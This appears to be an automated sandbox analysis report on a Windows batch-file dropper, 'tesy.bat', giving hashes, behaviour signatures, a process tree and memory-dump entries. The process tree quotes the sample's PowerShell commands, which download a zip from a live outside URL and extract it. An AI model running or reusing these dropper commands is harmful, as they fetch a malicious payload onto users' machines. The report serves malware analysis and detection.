Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 06:55

General

  • Target

    tesy.bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2712

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          c508119882cb13d05e39bcddaa0ae2ba

          SHA1

          7107fb9d242e33107653cbd04237f20160f55d3c

          SHA256

          fa5f0b27b719c519bac96a207c3f0aafe7325c172667e5f1634de705b769facb

          SHA512

          91c569274015706cc9e971ed0934af593f947d605b335f6f6d56084e34b490f92a0b05fbb32cfe42cb30fc13438adf265415760c3269d447cd241fe7e8f7a121

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MTI9HRE6L6EMZRPDR4GB.temp

          Filesize

          7KB

          MD5

          c508119882cb13d05e39bcddaa0ae2ba

          SHA1

          7107fb9d242e33107653cbd04237f20160f55d3c

          SHA256

          fa5f0b27b719c519bac96a207c3f0aafe7325c172667e5f1634de705b769facb

          SHA512

          91c569274015706cc9e971ed0934af593f947d605b335f6f6d56084e34b490f92a0b05fbb32cfe42cb30fc13438adf265415760c3269d447cd241fe7e8f7a121

        • memory/2712-20-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

          Filesize

          32KB

        • memory/2712-22-0x0000000002A50000-0x0000000002AD0000-memory.dmp

          Filesize

          512KB

        • memory/2712-26-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

          Filesize

          9.6MB

        • memory/2712-25-0x0000000002A50000-0x0000000002AD0000-memory.dmp

          Filesize

          512KB

        • memory/2712-24-0x0000000002A50000-0x0000000002AD0000-memory.dmp

          Filesize

          512KB

        • memory/2712-23-0x0000000002A50000-0x0000000002AD0000-memory.dmp

          Filesize

          512KB

        • memory/2712-21-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

          Filesize

          9.6MB

        • memory/2712-18-0x000000001B330000-0x000000001B612000-memory.dmp

          Filesize

          2.9MB

        • memory/2712-19-0x000007FEF47C0000-0x000007FEF515D000-memory.dmp

          Filesize

          9.6MB

        • memory/2996-5-0x0000000002410000-0x0000000002418000-memory.dmp

          Filesize

          32KB

        • memory/2996-4-0x000000001B3E0000-0x000000001B6C2000-memory.dmp

          Filesize

          2.9MB

        • memory/2996-6-0x000007FEF5160000-0x000007FEF5AFD000-memory.dmp

          Filesize

          9.6MB

        • memory/2996-12-0x000007FEF5160000-0x000007FEF5AFD000-memory.dmp

          Filesize

          9.6MB

        • memory/2996-7-0x00000000024E0000-0x0000000002560000-memory.dmp

          Filesize

          512KB

        • memory/2996-10-0x000007FEF5160000-0x000007FEF5AFD000-memory.dmp

          Filesize

          9.6MB

        • memory/2996-8-0x00000000024E0000-0x0000000002560000-memory.dmp

          Filesize

          512KB

        • memory/2996-9-0x00000000024E0000-0x0000000002560000-memory.dmp

          Filesize

          512KB